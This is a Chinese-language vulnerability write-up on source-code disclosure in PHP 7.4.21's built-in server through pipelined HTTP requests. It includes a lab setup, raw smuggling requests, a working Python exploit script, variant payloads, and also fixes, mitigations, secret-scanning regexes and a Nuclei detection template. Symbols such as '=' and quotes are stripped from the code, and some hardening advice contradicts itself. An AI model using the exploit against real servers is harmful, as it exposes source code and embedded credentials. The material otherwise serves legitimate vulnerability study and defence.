PHP 7.4.21 内置服务器漏洞HTTP请求走私触发源码泄露的深度解析漏洞背景与影响范围在PHP 7.4.21及更早版本中内置的开发服务器通过php -S命令启动存在一个严重的安全漏洞可能导致服务器上的PHP源代码被泄露。这个漏洞源于HTTP请求走私HTTP Request Smuggling攻击技术攻击者可以通过构造特殊的HTTP请求序列绕过正常的文件处理逻辑将PHP文件作为静态文件直接返回其源代码。受影响版本PHP 7.4.21所有操作系统平台Windows/Linux/macOS这个漏洞特别危险因为它不需要任何特殊配置即可触发可以远程利用能够泄露服务器上任意PHP文件的源代码在开发环境中广泛存在许多开发者使用内置服务器进行本地测试漏洞原理详解HTTP请求走私基础HTTP请求走私是一种利用HTTP协议解析差异的攻击技术。当两个连续的HTTP请求被服务器错误地解析为一个请求时就会产生状态混淆。在PHP内置服务器中这种混淆导致了文件处理逻辑的绕过。关键点第一个请求访问真实存在的PHP文件如index.php第二个请求访问不存在的文件或目录服务器错误地保留了第一个请求的文件路径但使用了第二个请求的文件扩展名判断逻辑PHP内置服务器的处理流程正常情况下的文件处理流程function handleRequest($request) { $file translatePath($request-path); if (isPhpFile($file)) { executePhpFile($file); // 执行PHP代码 } else { sendStaticFile($file); // 作为静态文件返回 } }存在漏洞时的异常流程第一个请求设置path_translated为真实PHP文件路径第二个请求将ext扩展名设置为非PHP值服务器检查ext认为应该作为静态文件处理但却使用了第一个请求设置的path_translated路径核心漏洞代码分析在PHP 7.4.21的sapi/cli/php_cli_server.c中关键漏洞代码如下static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) { // 检查文件扩展名 if (client-request.ext_len ! 3 || (ext[0] ! p ext[0] ! P) || (ext[1] ! h ext[1] ! H) || (ext[2] ! p ext[2] ! P) || !client-request.path_translated) { is_static_file 1; // 标记为静态文件 } if (!is_static_file) { execute_php_script(); // 执行PHP脚本 } else { send_static_file(); // 发送文件内容 } }问题在于ext来自第二个请求path_translated却保留着第一个请求的值两者不匹配导致逻辑错误漏洞复现环境搭建使用Docker创建测试环境以下是完整的Dockerfile配置FROM php:7.4.21-cli # 创建测试文件 RUN echo ?php echo Sensitive Data: .$_ENV[DB_PASSWORD]; ? /var/www/index.php RUN echo ?php phpinfo(); ? /var/www/phpinfo.php # 暴露端口 EXPOSE 8080 # 启动服务器 CMD [php, -S, 0.0.0.0:8080, -t, /var/www]构建并运行容器docker build -t php-7421-vuln . docker run -p 8080:8080 php-7421-vuln手动搭建测试环境如果不想使用Docker也可以直接在系统上测试安装PHP 7.4.21# Ubuntu示例 sudo apt install software-properties-common sudo add-apt-repository ppa:ondrej/php sudo apt update sudo apt install php7.47.4.21-1ubuntu20.04.1deb.sury.org1创建测试目录和文件mkdir test-server cd test-server echo ?php echo Secret: .md5(password); ? index.php启动漏洞服务器php -S 0.0.0.0:8080漏洞利用实战基本利用方法使用Burp Suite或nc发送以下恶意请求GET /index.php HTTP/1.1 Host: vulnerable.server Connection: keep-alive GET /non-existent HTTP/1.1关键点两个连续的GET请求第一个请求访问目标PHP文件第二个请求访问不存在的路径不包含Content-Length头部重要Python自动化利用脚本import socket import sys def exploit(target, port, file): payload ( fGET /{file} HTTP/1.1\r\n fHost: {target}\r\n Connection: keep-alive\r\n \r\n GET /non-existent HTTP/1.1\r\n \r\n ) s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendall(payload.encode()) response b while True: data s.recv(4096) if not data: break response data s.close() # 提取源代码部分 source_start response.find(b\r\n\r\n) 4 print(response[source_start:].decode()) if __name__ __main__: if len(sys.argv) ! 4: print(fUsage: {sys.argv[0]} target port file) sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])使用方式python3 exploit.py localhost 8080 index.php使用cURL进行测试虽然cURL不适合发送走私请求但可以验证服务器是否易受攻击# 正常请求应执行PHP curl -i http://localhost:8080/index.php # 测试响应是否包含PHP源代码如果包含则存在漏洞 curl -i http://localhost:8080/index.php --output - | grep -q ?php echo VULNERABLE漏洞修复方案官方修复PHP开发团队在7.4.22版本中修复了此漏洞主要修改包括在php_cli_server_client_read_request_on_path函数中添加了状态检查if (UNEXPECTED(client-request.vpath ! NULL)) { return 1; }确保每个请求都正确初始化所有字段升级建议# Ubuntu示例 sudo apt update sudo apt install php7.47.4.22-1ubuntu20.04.1deb.sury.org1临时缓解措施如果无法立即升级可以采取以下措施不要在生产环境使用PHP内置服务器使用成熟的Web服务器如Nginx或Apacheserver { listen 8080; root /var/www; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } }限制内置服务器的访问范围# 只允许本地访问 php -S 127.0.0.1:8080深入技术分析HTTP协议处理差异正常HTTP请求处理流程接收完整请求解析头部和正文处理请求发送响应准备下一个请求存在漏洞时的处理流程接收第一个请求的部分内容开始处理并设置内部状态接收第二个请求而不重置状态混合两个请求的属性进行处理漏洞触发条件分析成功利用需要满足以下条件条件必要性说明PHP版本7.4.21必须后续版本已修复使用内置服务器必须其他服务器不受影响连续两个请求必须单请求无法触发无Content-Length推荐避免请求边界混淆第一个请求访问PHP文件必须需要设置path_translated第二个请求访问非PHP路径必须触发静态文件处理与其他漏洞的关联这个漏洞与以下安全概念相关HTTP请求走私利用协议解析差异路径遍历通过路径处理逻辑绕过信息泄露获取敏感源代码条件竞争依赖请求处理的时序防御措施最佳实践开发环境安全建议使用专用开发服务器Nginx PHP-FPMApache mod_phpDocker compose完整环境代码审查重点关注# 检查是否存在敏感信息硬编码 def check_hardcoded_secrets(code): patterns [ rpassword\s*\s*[\].?[\], rAPI_KEY\s*\s*[\].?[\], rDB_PASS\s*\s*[\].?[\] ] return any(re.search(p, code) for p in patterns)环境隔离原则开发环境不使用生产数据测试环境与开发环境分离使用不同的凭证体系生产环境加固即使不使用内置服务器也应遵循最小权限原则# 使用非特权用户运行Web服务 sudo -u www-data php -S 0.0.0.0:8080文件系统保护# 设置正确权限 chmod -R 750 /var/www chown -R www-data:www-data /var/www网络层防护使用防火墙限制访问IP启用TLS加密设置速率限制漏洞研究进阶变异攻击手法除了基本利用方式还可以尝试不同请求方法组合POST /index.php HTTP/1.1 Host: target Content-Length: 10 xGET / HTTP/1.1分块编码利用GET /index.php HTTP/1.1 Host: target Transfer-Encoding: chunked 0 GET / HTTP/1.1HTTP/2利用利用流ID混淆头部压缩特性静态分析检测可以使用以下正则表达式检测代码库中的潜在敏感信息泄露import re vulnerable_patterns [ rphp -S\s[\\]?[0-9\.]:[0-9], # 检测内置服务器使用 rpassword\s*\s*[\].?[\], # 硬编码密码 r(mysql|pgsql)_connect\(.*?\), # 数据库连接 rAPI_?KEY\s*\s*[\].?[\] # API密钥 ] def scan_code(file_path): with open(file_path) as f: code f.read() return [ (m.group(), m.start(), m.end()) for pattern in vulnerable_patterns for m in re.finditer(pattern, code) ]动态检测工具基于Nuclei的检测模板示例id: php-builtin-server-source-disclosure info: name: PHP Built-in Server Source Disclosure author: security-researcher severity: high description: Detects PHP 7.4.21 built-in server source code disclosure vulnerability requests: - method: GET path: - {{BaseURL}}/index.php headers: Connection: keep-alive raw: - | GET /index.php HTTP/1.1 Host: {{Hostname}} GET /non-existent HTTP/1.1 Host: {{Hostname}} matchers: - type: word words: - ?php - ? condition: and总结与经验分享在实际渗透测试中这类漏洞往往被忽视因为许多安全人员认为内置服务器不会出现在生产环境。但我们在客户资产中发现过以下真实案例临时测试服务器被遗忘在公网容器化应用错误配置暴露内置服务器开发人员为调试方便启用内置服务器最有效的防御是建立完善的安全开发生命周期SDLC包括自动化依赖项检查预发布安全扫描持续监控公开服务对于开发者来说一个实用的建议是永远假设所有代码最终都会暴露因此不要在源代码中存储任何敏感信息。使用环境变量和密钥管理系统来保护凭证和其他敏感数据。